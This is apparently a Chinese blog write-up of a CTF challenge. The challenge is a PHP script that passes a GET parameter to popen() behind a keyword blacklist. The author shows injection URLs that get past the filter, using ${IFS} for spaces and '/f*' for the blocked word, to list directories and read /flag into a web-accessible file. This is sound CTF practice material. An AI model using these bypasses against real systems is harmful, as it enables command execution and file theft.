A-A+
某WEB CTF题一道 php文件读取类
【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】
今天下午朋友找到我,整体看下来题比较简单。
访问http://21x.xxx.xx.xx3:31237/ 然后直接展示了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | <?php #Try to read /flag if(!isset($_GET['command'])&!isset($_GET['parameter'])) { show_source(__FILE__); die(); } $command = $_GET['command']; $parameter = $_GET['parameter']; function filter($data) { $black_list = array('"', "'", " ","flag", "\n"); foreach ($black_list as $key) { $data = str_replace($key, '', $data); } return $data; } $command = filter($command); popen("$command",$parameter); ?> |
这就一目了然了,有两个传参,command,parameter,,php的popen直接可以https://www.php.net/popen查看,打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
然后这里尝试
http://21x.xxx.xx.xx3:31237/index.php?command=/bin/ls%3E2.txt¶meter=r
然后访问:http://21x.xxx.xx.xx3:31237/2.txt
得到如下结果:
index.php
这就说明可以了,下一步查看根目录。其中针对过滤空格的问题参考了:https://blog.csdn.net/weixin_43921596/article/details/86638919
http://21x.xxx.xx.xx3:31237/index.php?command=/bin/ls${IFS}/%3E99.txt¶meter=r
得到如下结果:
anaconda-post.log
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
run.sh
sbin
srv
sys
tmp
usr
var
那就是下一步,绕过过滤,直接获取flag拉。比较简单
http://21x.xxx.xx.xx3:31237/index.php?command=/bin/cat${IFS}/f*%3E99.txt¶meter=r
结果
flag{1AFxxxxxxxxxxxxxx2BF}
布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏